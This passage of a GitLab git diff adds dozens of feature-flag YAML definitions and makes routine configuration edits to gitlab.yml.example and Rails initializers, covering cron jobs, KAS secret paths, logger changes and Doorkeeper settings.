diff --git a/config/feature_flags/development/tribute_autocomplete.yml b/config/feature_flags/development/tribute_autocomplete.yml
new file mode 100644
index 00000000000..31ee1b932d3
--- /dev/null
+++ b/config/feature_flags/development/tribute_autocomplete.yml
@@ -0,0 +1,7 @@
+---
+name: tribute_autocomplete
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/unified_diff_lines.yml b/config/feature_flags/development/unified_diff_lines.yml
new file mode 100644
index 00000000000..a676f0732dd
--- /dev/null
+++ b/config/feature_flags/development/unified_diff_lines.yml
@@ -0,0 +1,7 @@
+---
+name: unified_diff_lines
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40131
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/241188
+group: group::source code
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/unlink_fork_network_upon_visibility_decrease.yml b/config/feature_flags/development/unlink_fork_network_upon_visibility_decrease.yml
new file mode 100644
index 00000000000..bfe3356cb8e
--- /dev/null
+++ b/config/feature_flags/development/unlink_fork_network_upon_visibility_decrease.yml
@@ -0,0 +1,7 @@
+---
+name: unlink_fork_network_upon_visibility_decrease
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/upload_middleware_jwt_params_handler.yml b/config/feature_flags/development/upload_middleware_jwt_params_handler.yml
new file mode 100644
index 00000000000..b467ade8609
--- /dev/null
+++ b/config/feature_flags/development/upload_middleware_jwt_params_handler.yml
@@ -0,0 +1,7 @@
+---
+name: upload_middleware_jwt_params_handler
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/33277
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/233895
+group: group::package
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/usage_data_api.yml b/config/feature_flags/development/usage_data_api.yml
new file mode 100644
index 00000000000..0976b27d417
--- /dev/null
+++ b/config/feature_flags/development/usage_data_api.yml
@@ -0,0 +1,7 @@
+---
+name: usage_data_api
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41301
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/235459
+group: group::telemetry
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/usage_data_g_compliance_dashboard.yml b/config/feature_flags/development/usage_data_g_compliance_dashboard.yml
new file mode 100644
index 00000000000..6f971788d88
--- /dev/null
+++ b/config/feature_flags/development/usage_data_g_compliance_dashboard.yml
@@ -0,0 +1,7 @@
+---
+name: usage_data_g_compliance_dashboard
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/usage_data_incident_management_alert_assigned.yml b/config/feature_flags/development/usage_data_incident_management_alert_assigned.yml
new file mode 100644
index 00000000000..22589d00ae0
--- /dev/null
+++ b/config/feature_flags/development/usage_data_incident_management_alert_assigned.yml
@@ -0,0 +1,7 @@
+---
+name: usage_data_incident_management_alert_assigned
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/usage_data_incident_management_alert_status_changed.yml b/config/feature_flags/development/usage_data_incident_management_alert_status_changed.yml
new file mode 100644
index 00000000000..10f987ecd65
--- /dev/null
+++ b/config/feature_flags/development/usage_data_incident_management_alert_status_changed.yml
@@ -0,0 +1,7 @@
+---
+name: usage_data_incident_management_alert_status_changed
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/usage_data_incident_management_alert_todo.yml b/config/feature_flags/development/usage_data_incident_management_alert_todo.yml
new file mode 100644
index 00000000000..67d18480a56
--- /dev/null
+++ b/config/feature_flags/development/usage_data_incident_management_alert_todo.yml
@@ -0,0 +1,7 @@
+---
+name: usage_data_incident_management_alert_todo
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/usage_data_incident_management_incident_assigned.yml b/config/feature_flags/development/usage_data_incident_management_incident_assigned.yml
new file mode 100644
index 00000000000..1b48fe4ac9c
--- /dev/null
+++ b/config/feature_flags/development/usage_data_incident_management_incident_assigned.yml
@@ -0,0 +1,7 @@
+---
+name: usage_data_incident_management_incident_assigned
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/usage_data_incident_management_incident_change_confidential.yml b/config/feature_flags/development/usage_data_incident_management_incident_change_confidential.yml
new file mode 100644
index 00000000000..6235382fd59
--- /dev/null
+++ b/config/feature_flags/development/usage_data_incident_management_incident_change_confidential.yml
@@ -0,0 +1,7 @@
+---
+name: usage_data_incident_management_incident_change_confidential
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/usage_data_incident_management_incident_closed.yml b/config/feature_flags/development/usage_data_incident_management_incident_closed.yml
new file mode 100644
index 00000000000..4f8f9b951ed
--- /dev/null
+++ b/config/feature_flags/development/usage_data_incident_management_incident_closed.yml
@@ -0,0 +1,7 @@
+---
+name: usage_data_incident_management_incident_closed
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/usage_data_incident_management_incident_comment.yml b/config/feature_flags/development/usage_data_incident_management_incident_comment.yml
new file mode 100644
index 00000000000..b41c96d3b04
--- /dev/null
+++ b/config/feature_flags/development/usage_data_incident_management_incident_comment.yml
@@ -0,0 +1,7 @@
+---
+name: usage_data_incident_management_incident_comment
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/usage_data_incident_management_incident_created.yml b/config/feature_flags/development/usage_data_incident_management_incident_created.yml
new file mode 100644
index 00000000000..693cc23dc3b
--- /dev/null
+++ b/config/feature_flags/development/usage_data_incident_management_incident_created.yml
@@ -0,0 +1,7 @@
+---
+name: usage_data_incident_management_incident_created
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/usage_data_incident_management_incident_relate.yml b/config/feature_flags/development/usage_data_incident_management_incident_relate.yml
new file mode 100644
index 00000000000..70b4c5c3f65
--- /dev/null
+++ b/config/feature_flags/development/usage_data_incident_management_incident_relate.yml
@@ -0,0 +1,7 @@
+---
+name: usage_data_incident_management_incident_relate
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/usage_data_incident_management_incident_reopened.yml b/config/feature_flags/development/usage_data_incident_management_incident_reopened.yml
new file mode 100644
index 00000000000..ccb108a4a28
--- /dev/null
+++ b/config/feature_flags/development/usage_data_incident_management_incident_reopened.yml
@@ -0,0 +1,7 @@
+---
+name: usage_data_incident_management_incident_reopened
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/usage_data_incident_management_incident_todo.yml b/config/feature_flags/development/usage_data_incident_management_incident_todo.yml
new file mode 100644
index 00000000000..c517a66a151
--- /dev/null
+++ b/config/feature_flags/development/usage_data_incident_management_incident_todo.yml
@@ -0,0 +1,7 @@
+---
+name: usage_data_incident_management_incident_todo
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/usage_data_incident_management_incident_unrelate.yml b/config/feature_flags/development/usage_data_incident_management_incident_unrelate.yml
new file mode 100644
index 00000000000..da418eb79a4
--- /dev/null
+++ b/config/feature_flags/development/usage_data_incident_management_incident_unrelate.yml
@@ -0,0 +1,7 @@
+---
+name: usage_data_incident_management_incident_unrelate
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/usage_data_incident_management_incident_zoom_meeting.yml b/config/feature_flags/development/usage_data_incident_management_incident_zoom_meeting.yml
new file mode 100644
index 00000000000..bbe81fdf3ed
--- /dev/null
+++ b/config/feature_flags/development/usage_data_incident_management_incident_zoom_meeting.yml
@@ -0,0 +1,7 @@
+---
+name: usage_data_incident_management_incident_zoom_meeting
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/use_workhorse_s3_client.yml b/config/feature_flags/development/use_workhorse_s3_client.yml
new file mode 100644
index 00000000000..dd152996c0c
--- /dev/null
+++ b/config/feature_flags/development/use_workhorse_s3_client.yml
@@ -0,0 +1,7 @@
+---
+name: use_workhorse_s3_client
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/user_mode_in_session.yml b/config/feature_flags/development/user_mode_in_session.yml
new file mode 100644
index 00000000000..2a373ece4f4
--- /dev/null
+++ b/config/feature_flags/development/user_mode_in_session.yml
@@ -0,0 +1,7 @@
+---
+name: user_mode_in_session
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/user_time_settings.yml b/config/feature_flags/development/user_time_settings.yml
new file mode 100644
index 00000000000..a63f229f903
--- /dev/null
+++ b/config/feature_flags/development/user_time_settings.yml
@@ -0,0 +1,7 @@
+---
+name: user_time_settings
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/users_search.yml b/config/feature_flags/development/users_search.yml
new file mode 100644
index 00000000000..0397ee60225
--- /dev/null
+++ b/config/feature_flags/development/users_search.yml
@@ -0,0 +1,7 @@
+---
+name: users_search
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/validate_import_decompressed_archive_size.yml b/config/feature_flags/development/validate_import_decompressed_archive_size.yml
new file mode 100644
index 00000000000..28876f5180f
--- /dev/null
+++ b/config/feature_flags/development/validate_import_decompressed_archive_size.yml
@@ -0,0 +1,7 @@
+---
+name: validate_import_decompressed_archive_size
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/view_diffs_file_by_file.yml b/config/feature_flags/development/view_diffs_file_by_file.yml
new file mode 100644
index 00000000000..4df755943ab
--- /dev/null
+++ b/config/feature_flags/development/view_diffs_file_by_file.yml
@@ -0,0 +1,7 @@
+---
+name: view_diffs_file_by_file
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/vue_group_members_list.yml b/config/feature_flags/development/vue_group_members_list.yml
new file mode 100644
index 00000000000..c5a5ad638e4
--- /dev/null
+++ b/config/feature_flags/development/vue_group_members_list.yml
@@ -0,0 +1,7 @@
+---
+name: vue_group_members_list
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40548
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/241194
+group: group::access
+type: development
+default_enabled: false \ No newline at end of file
diff --git a/config/feature_flags/development/vue_issuable_sidebar.yml b/config/feature_flags/development/vue_issuable_sidebar.yml
new file mode 100644
index 00000000000..d57852c9491
--- /dev/null
+++ b/config/feature_flags/development/vue_issuable_sidebar.yml
@@ -0,0 +1,7 @@
+---
+name: vue_issuable_sidebar
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/vue_issuables_list.yml b/config/feature_flags/development/vue_issuables_list.yml
new file mode 100644
index 00000000000..79ade237824
--- /dev/null
+++ b/config/feature_flags/development/vue_issuables_list.yml
@@ -0,0 +1,7 @@
+---
+name: vue_issuables_list
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/web_ide_primary_edit.yml b/config/feature_flags/development/web_ide_primary_edit.yml
new file mode 100644
index 00000000000..8bea7fd94e7
--- /dev/null
+++ b/config/feature_flags/development/web_ide_primary_edit.yml
@@ -0,0 +1,7 @@
+---
+name: web_ide_primary_edit
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/webauthn.yml b/config/feature_flags/development/webauthn.yml
new file mode 100644
index 00000000000..7b360e884ae
--- /dev/null
+++ b/config/feature_flags/development/webauthn.yml
@@ -0,0 +1,7 @@
+---
+name: webauthn
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/webperf_experiment.yml b/config/feature_flags/development/webperf_experiment.yml
new file mode 100644
index 00000000000..02c2a12cfaf
--- /dev/null
+++ b/config/feature_flags/development/webperf_experiment.yml
@@ -0,0 +1,7 @@
+---
+name: webperf_experiment
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/whats_new_drawer.yml b/config/feature_flags/development/whats_new_drawer.yml
new file mode 100644
index 00000000000..6e31b17e05a
--- /dev/null
+++ b/config/feature_flags/development/whats_new_drawer.yml
@@ -0,0 +1,7 @@
+---
+name: whats_new_drawer
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/widget_visibility_polling.yml b/config/feature_flags/development/widget_visibility_polling.yml
new file mode 100644
index 00000000000..c0c6962a46d
--- /dev/null
+++ b/config/feature_flags/development/widget_visibility_polling.yml
@@ -0,0 +1,7 @@
+---
+name: widget_visibility_polling
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/wiki.yml b/config/feature_flags/development/wiki.yml
new file mode 100644
index 00000000000..9f36fd7c6aa
--- /dev/null
+++ b/config/feature_flags/development/wiki.yml
@@ -0,0 +1,7 @@
+---
+name: wiki
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: true
diff --git a/config/feature_flags/development/wiki_events_on_git_push.yml b/config/feature_flags/development/wiki_events_on_git_push.yml
new file mode 100644
index 00000000000..abab9029bae
--- /dev/null
+++ b/config/feature_flags/development/wiki_events_on_git_push.yml
@@ -0,0 +1,7 @@
+---
+name: wiki_events_on_git_push
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/wiki_front_matter.yml b/config/feature_flags/development/wiki_front_matter.yml
new file mode 100644
index 00000000000..6b388aaa5d2
--- /dev/null
+++ b/config/feature_flags/development/wiki_front_matter.yml
@@ -0,0 +1,7 @@
+---
+name: wiki_front_matter
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/workhorse_archive_cache_disabled.yml b/config/feature_flags/development/workhorse_archive_cache_disabled.yml
new file mode 100644
index 00000000000..b708d21ad89
--- /dev/null
+++ b/config/feature_flags/development/workhorse_archive_cache_disabled.yml
@@ -0,0 +1,7 @@
+---
+name: workhorse_archive_cache_disabled
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/ops/ci_accept_trace.yml b/config/feature_flags/ops/ci_accept_trace.yml
new file mode 100644
index 00000000000..e32a3819844
--- /dev/null
+++ b/config/feature_flags/ops/ci_accept_trace.yml
@@ -0,0 +1,7 @@
+---
+name: ci_accept_trace
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41304
+rollout_issue_url:
+group: group::continuous integration
+type: ops
+default_enabled: false \ No newline at end of file
diff --git a/config/feature_flags/ops/ci_trace_overwrite.yml b/config/feature_flags/ops/ci_trace_overwrite.yml
new file mode 100644
index 00000000000..7996b957262
--- /dev/null
+++ b/config/feature_flags/ops/ci_trace_overwrite.yml
@@ -0,0 +1,7 @@
+---
+name: ci_trace_overwrite
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41304
+rollout_issue_url:
+group: group::continuous integration
+type: ops
+default_enabled: false \ No newline at end of file
diff --git a/config/feature_flags/ops/kubernetes_agent_internal_api.yml b/config/feature_flags/ops/kubernetes_agent_internal_api.yml
new file mode 100644
index 00000000000..f1dfdbb3950
--- /dev/null
+++ b/config/feature_flags/ops/kubernetes_agent_internal_api.yml
@@ -0,0 +1,7 @@
+---
+name: kubernetes_agent_internal_api
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41045
+rollout_issue_url:
+group: group::configure
+type: ops
+default_enabled: true
diff --git a/config/gitlab.yml.example b/config/gitlab.yml.example
index 5d217332634..605729a1435 100644
--- a/config/gitlab.yml.example
+++ b/config/gitlab.yml.example
@@ -456,6 +456,10 @@ production: &base
schedule_migrate_external_diffs_worker:
cron: "15 * * * *"
+ # Update CI Platform Metrics daily
+ ci_platform_metrics_update_cron_worker:
+ cron: "47 9 * * *"
+
# GitLab EE only jobs. These jobs are automatically enabled for an EE
# installation, and ignored for a CE installation.
ee_cron_jobs:
@@ -890,8 +894,10 @@ production: &base
# Allow users with existing accounts to sign in and auto link their account via OmniAuth
# login, without having to do a manual login first and manually add OmniAuth. Links on email.
+ # Define the allowed providers using an array, e.g. ["saml", "twitter"], or as true/false to
+ # allow all providers or none.
# (default: false)
- auto_link_user: false
+ auto_link_user: ["saml", "twitter"]
# Set different Omniauth providers as external so that all users creating accounts
# via these providers will not be able to have access to internal projects. You
@@ -1093,6 +1099,11 @@ production: &base
# Default is '.gitlab_workhorse_secret' relative to Rails.root (i.e. root of the GitLab app).
# secret_file: /home/git/gitlab/.gitlab_workhorse_secret
+ gitlab_kas:
+ # File that contains the secret key for verifying access for gitlab-kas.
+ # Default is '.gitlab_kas_secret' relative to Rails.root (i.e. root of the GitLab app).
+ # secret_file: /home/git/gitlab/.gitlab_kas_secret
+
## GitLab Elasticsearch settings
elasticsearch:
indexer_path: /home/git/gitlab-elasticsearch-indexer/
@@ -1125,6 +1136,7 @@ production: &base
# Sidekiq exporter is webserver built in to Sidekiq to expose Prometheus metrics
sidekiq_exporter:
# enabled: true
+ # log_enabled: false
# address: localhost
# port: 8082
@@ -1142,8 +1154,15 @@ production: &base
# yourself, and then update the values here.
# https://docs.gitlab.com/ee/administration/monitoring/prometheus/
prometheus:
+ # Do not use `enable` and `listen_address` in any new code, as they are deprecated. Use `server_address` instead.
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/227111
# enable: true
# listen_address: 'localhost:9090'
+ # server_address: 'localhost:9090'
+
+ ## Consul settings
+ consul:
+ # api_url: 'http://localhost:8500'
shutdown:
# # blackout_seconds:
@@ -1397,6 +1416,11 @@ test:
app_id: 'YOUR_CLIENT_ID',
app_secret: 'YOUR_CLIENT_SECRET'
}
+ - { name: 'atlassian_oauth2',
+ app_id: 'YOUR_CLIENT_ID',
+ app_secret: 'YOUR_CLIENT_SECRET',
+ args: { scope: 'offline_access read:jira-user read:jira-work', prompt: 'consent' }
+ }
ldap:
enabled: false
servers:
diff --git a/config/helpers/is_eslint.js b/config/helpers/is_eslint.js
index 5dfb7e533e4..55ec42e68c1 100644
--- a/config/helpers/is_eslint.js
+++ b/config/helpers/is_eslint.js
@@ -5,7 +5,7 @@ const isESLint = mod => {
let parent = mod.parent;
while (parent) {
- if (parent.filename.includes('/eslint')) {
+ if (parent.filename && parent.filename.includes('/eslint')) {
return true;
}
diff --git a/config/initializers/0_inject_feature_flags.rb b/config/initializers/0_inject_feature_flags.rb
index 45e6546e294..5b33b3bb4ea 100644
--- a/config/initializers/0_inject_feature_flags.rb
+++ b/config/initializers/0_inject_feature_flags.rb
@@ -3,3 +3,4 @@
Feature.register_feature_groups
Feature.register_definitions
+Feature.register_hot_reloader unless Rails.configuration.cache_classes
diff --git a/config/initializers/1_settings.rb b/config/initializers/1_settings.rb
index 628d9c65ce0..6ccd027dd5d 100644
--- a/config/initializers/1_settings.rb
+++ b/config/initializers/1_settings.rb
@@ -176,8 +176,8 @@ Settings.gitlab['user'] ||= 'git'
Settings.gitlab['ssh_user'] ||= Settings.gitlab.user
Settings.gitlab['user_home'] ||= begin
Etc.getpwnam(Settings.gitlab['user']).dir
-rescue ArgumentError # no user configured
- '/home/' + Settings.gitlab['user']
+ rescue ArgumentError # no user configured
+ '/home/' + Settings.gitlab['user']
end
Settings.gitlab['time_zone'] ||= nil
Settings.gitlab['signup_enabled'] ||= true if Settings.gitlab['signup_enabled'].nil?
@@ -511,6 +511,12 @@ Settings.cron_jobs['update_container_registry_info_worker']['job_class'] = 'Upda
Settings.cron_jobs['postgres_dynamic_partitions_creator'] ||= Settingslogic.new({})
Settings.cron_jobs['postgres_dynamic_partitions_creator']['cron'] ||= '21 */6 * * *'
Settings.cron_jobs['postgres_dynamic_partitions_creator']['job_class'] ||= 'PartitionCreationWorker'
+Settings.cron_jobs['ci_platform_metrics_update_cron_worker'] ||= Settingslogic.new({})
+Settings.cron_jobs['ci_platform_metrics_update_cron_worker']['cron'] ||= '47 9 * * *'
+Settings.cron_jobs['ci_platform_metrics_update_cron_worker']['job_class'] = 'CiPlatformMetricsUpdateCronWorker'
+Settings.cron_jobs['analytics_instance_statistics_count_job_trigger_worker'] ||= Settingslogic.new({})
+Settings.cron_jobs['analytics_instance_statistics_count_job_trigger_worker']['cron'] ||= '50 23 */1 * *'
+Settings.cron_jobs['analytics_instance_statistics_count_job_trigger_worker']['job_class'] ||= 'Analytics::InstanceStatistics::CountJobTriggerWorker'
Gitlab.ee do
Settings.cron_jobs['adjourned_group_deletion_worker'] ||= Settingslogic.new({})
@@ -635,6 +641,12 @@ Settings['workhorse'] ||= Settingslogic.new({})
Settings.workhorse['secret_file'] ||= Rails.root.join('.gitlab_workhorse_secret')
#
+# GitLab KAS
+#
+Settings['gitlab_kas'] ||= Settingslogic.new({})
+Settings.gitlab_kas['secret_file'] ||= Rails.root.join('.gitlab_kas_secret')
+
+#
# Repositories
#
Settings['repositories'] ||= Settingslogic.new({})
@@ -772,6 +784,7 @@ Settings.monitoring['ip_whitelist'] ||= ['127.0.0.1/8']
Settings.monitoring['unicorn_sampler_interval'] ||= 10
Settings.monitoring['sidekiq_exporter'] ||= Settingslogic.new({})
Settings.monitoring.sidekiq_exporter['enabled'] ||= false
+Settings.monitoring.sidekiq_exporter['log_enabled'] ||= false
Settings.monitoring.sidekiq_exporter['address'] ||= 'localhost'
Settings.monitoring.sidekiq_exporter['port'] ||= 8082
Settings.monitoring['web_exporter'] ||= Settingslogic.new({})
diff --git a/config/initializers/7_prometheus_metrics.rb b/config/initializers/7_prometheus_metrics.rb
index cec1a213ed2..d5d8587f1c8 100644
--- a/config/initializers/7_prometheus_metrics.rb
+++ b/config/initializers/7_prometheus_metrics.rb
@@ -16,7 +16,7 @@ def prometheus_default_multiproc_dir
end
Prometheus::Client.configure do |config|
- config.logger = Rails.logger # rubocop:disable Gitlab/RailsLogger
+ config.logger = Gitlab::AppLogger
config.initial_mmap_file_size = 4 * 1024
@@ -46,6 +46,10 @@ if !Rails.env.test? && Gitlab::Metrics.prometheus_metrics_enabled?
Gitlab::Metrics::Samplers::DatabaseSampler.initialize_instance.start
Gitlab::Metrics::Samplers::ThreadsSampler.initialize_instance.start
+ if Gitlab::Runtime.action_cable?
+ Gitlab::Metrics::Samplers::ActionCableSampler.instance.start
+ end
+
if Gitlab.ee? && Gitlab::Runtime.sidekiq?
Gitlab::Metrics::Samplers::GlobalSearchSampler.instance.start
end
diff --git a/config/initializers/8_devise.rb b/config/initializers/8_devise.rb
index 2be6e535fee..b91a4622ce8 100644
--- a/config/initializers/8_devise.rb
+++ b/config/initializers/8_devise.rb
@@ -41,7 +41,7 @@ Devise.setup do |config|
# Configure which authentication keys should be case-insensitive.
# These keys will be downcased upon creating or modifying a user and when used
# to authenticate or find a user. Default is :email.
- config.case_insensitive_keys = [:email, :email_confirmation]
+ config.case_insensitive_keys = [:email]
# Configure which authentication keys should have whitespace stripped.
# These keys will have whitespace before and after removed upon creating or
diff --git a/config/initializers/active_record_lifecycle.rb b/config/initializers/active_record_lifecycle.rb
index 493d328b93e..4d63ffaf711 100644
--- a/config/initializers/active_record_lifecycle.rb
+++ b/config/initializers/active_record_lifecycle.rb
@@ -7,7 +7,7 @@ if defined?(ActiveRecord::Base) && !Gitlab::Runtime.sidekiq?
ActiveSupport.on_load(:active_record) do
ActiveRecord::Base.establish_connection
- Rails.logger.debug("ActiveRecord connection established") # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.debug("ActiveRecord connection established")
end
end
end
@@ -20,6 +20,6 @@ if defined?(ActiveRecord::Base)
# as there's no need for the master process to hold a connection
ActiveRecord::Base.connection.disconnect!
- Rails.logger.debug("ActiveRecord connection disconnected") # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.debug("ActiveRecord connection disconnected")
end
end
diff --git a/config/initializers/backtrace_silencers.rb b/config/initializers/backtrace_silencers.rb
index f25bb7d25fa..2f892f78112 100644
--- a/config/initializers/backtrace_silencers.rb
+++ b/config/initializers/backtrace_silencers.rb
@@ -2,7 +2,7 @@ Rails.backtrace_cleaner.remove_silencers!
# This allows us to see the proper caller of SQL calls in {development,test}.log
if (Rails.env.development? || Rails.env.test?) && Gitlab.ee?
- Rails.backtrace_cleaner.add_silencer { |line| line =~ %r(^ee/lib/gitlab/database/load_balancing) }
+ Rails.backtrace_cleaner.add_silencer { |line| %r(^ee/lib/gitlab/database/load_balancing).match?(line) }
end
-Rails.backtrace_cleaner.add_silencer { |line| line !~ Gitlab::APP_DIRS_PATTERN }
+Rails.backtrace_cleaner.add_silencer { |line| !Gitlab::APP_DIRS_PATTERN.match?(line) }
diff --git a/config/initializers/carrierwave_patch.rb b/config/initializers/carrierwave_patch.rb
index 53fba307926..ad3ff36138f 100644
--- a/config/initializers/carrierwave_patch.rb
+++ b/config/initializers/carrierwave_patch.rb
@@ -7,7 +7,9 @@ require "carrierwave/storage/fog"
#
# This patch also incorporates
# https://github.com/carrierwaveuploader/carrierwave/pull/2375 to
-# provide Azure support. This is already in CarrierWave v2.1.x, but
+# provide Azure support
+# and https://github.com/carrierwaveuploader/carrierwave/pull/2397 to
+# support custom expire_at. This is already in CarrierWave v2.1.x, but
# upgrading this gem is a significant task:
# https://gitlab.com/gitlab-org/gitlab/-/issues/216067
module CarrierWave
@@ -28,7 +30,7 @@ module CarrierWave
# avoid a get by using local references
local_directory = connection.directories.new(key: @uploader.fog_directory)
local_file = local_directory.files.new(key: path)
- expire_at = ::Fog::Time.now + @uploader.fog_authenticated_url_expiration
+ expire_at = options[:expire_at] || ::Fog::Time.now + @uploader.fog_authenticated_url_expiration
case @uploader.fog_credentials[:provider]
when 'AWS', 'Google'
# Older versions of fog-google do not support options as a parameter
diff --git a/config/initializers/deprecations.rb b/config/initializers/deprecations.rb
index 0d096e34eb7..2b07ca665e2 100644
--- a/config/initializers/deprecations.rb
+++ b/config/initializers/deprecations.rb
@@ -2,7 +2,7 @@ if Rails.env.development? || ENV['GITLAB_LEGACY_PATH_LOG_MESSAGE']
deprecator = ActiveSupport::Deprecation.new('11.0', 'GitLab')
deprecator.behavior = -> (message, callstack) {
- Rails.logger.warn("#{message}: #{callstack[1..20].join}") # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.warn("#{message}: #{callstack[1..20].join}")
}
ActiveSupport::Deprecation.deprecate_methods(Gitlab::GitalyClient::StorageSettings, :legacy_disk_path, deprecator: deprecator)
diff --git a/config/initializers/direct_upload_support.rb b/config/initializers/direct_upload_support.rb
index 94e90727f0c..919b80b79c0 100644
--- a/config/initializers/direct_upload_support.rb
+++ b/config/initializers/direct_upload_support.rb
@@ -1,5 +1,7 @@
class DirectUploadsValidator
- SUPPORTED_DIRECT_UPLOAD_PROVIDERS = %w(Google AWS AzureRM).freeze
+ SUPPORTED_DIRECT_UPLOAD_PROVIDERS = [ObjectStorage::Config::GOOGLE_PROVIDER,
+ ObjectStorage::Config::AWS_PROVIDER,
+ ObjectStorage::Config::AZURE_PROVIDER].freeze
ValidationError = Class.new(StandardError)
@@ -24,7 +26,7 @@ class DirectUploadsValidator
def provider_loaded?(provider)
return false unless SUPPORTED_DIRECT_UPLOAD_PROVIDERS.include?(provider)
- require 'fog/azurerm' if provider == 'AzureRM'
+ require 'fog/azurerm' if provider == ObjectStorage::Config::AZURE_PROVIDER
true
end
diff --git a/config/initializers/doorkeeper.rb b/config/initializers/doorkeeper.rb
index ad0b0c2008f..6b54b5074d5 100644
--- a/config/initializers/doorkeeper.rb
+++ b/config/initializers/doorkeeper.rb
@@ -3,6 +3,10 @@ Doorkeeper.configure do
# Currently supported options are :active_record, :mongoid2, :mongoid3, :mongo_mapper
orm :active_record
+ # Restore to pre-5.1 generator due to breaking change.
+ # See https://gitlab.com/gitlab-org/gitlab/-/issues/244371
+ default_generator_method :hex
+
# This block will be called to check whether the resource owner is authenticated or not.
resource_owner_authenticator do
# Put your resource owner authentication logic here.
@@ -79,13 +83,6 @@ Doorkeeper.configure do
# Check out the wiki for more information on customization
access_token_methods :from_access_token_param, :from_bearer_authorization, :from_bearer_param
- # Change the native redirect uri for client apps
- # When clients register with the following redirect uri, they won't be redirected to any server and the authorization code will be displayed within the provider
- # The value can be any string. Use nil to disable this feature. When disabled, clients must provide a valid URL
- # (Similar behaviour: https://developers.google.com/accounts/docs/OAuth2InstalledApp#choosingredirecturi)
- #
- native_redirect_uri nil # 'urn:ietf:wg:oauth:2.0:oob'
-
# Specify what grant flows are enabled in array of Strings. The valid
# strings and the flows they enable are:
#
diff --git a/config/initializers/forbid_sidekiq_in_transactions.rb b/config/initializers/forbid_sidekiq_in_transactions.rb
index 9bade443aae..6bcd4dbd52f 100644
--- a/config/initializers/forbid_sidekiq_in_transactions.rb
+++ b/config/initializers/forbid_sidekiq_in_transactions.rb
@@ -28,7 +28,7 @@ module Sidekiq
Use an `after_commit` hook, or include `AfterCommitQueue` and use a `run_after_commit` block instead.
MSG
rescue Sidekiq::Worker::EnqueueFromTransactionError => e
- ::Rails.logger.error(e.message) if ::Rails.env.production?
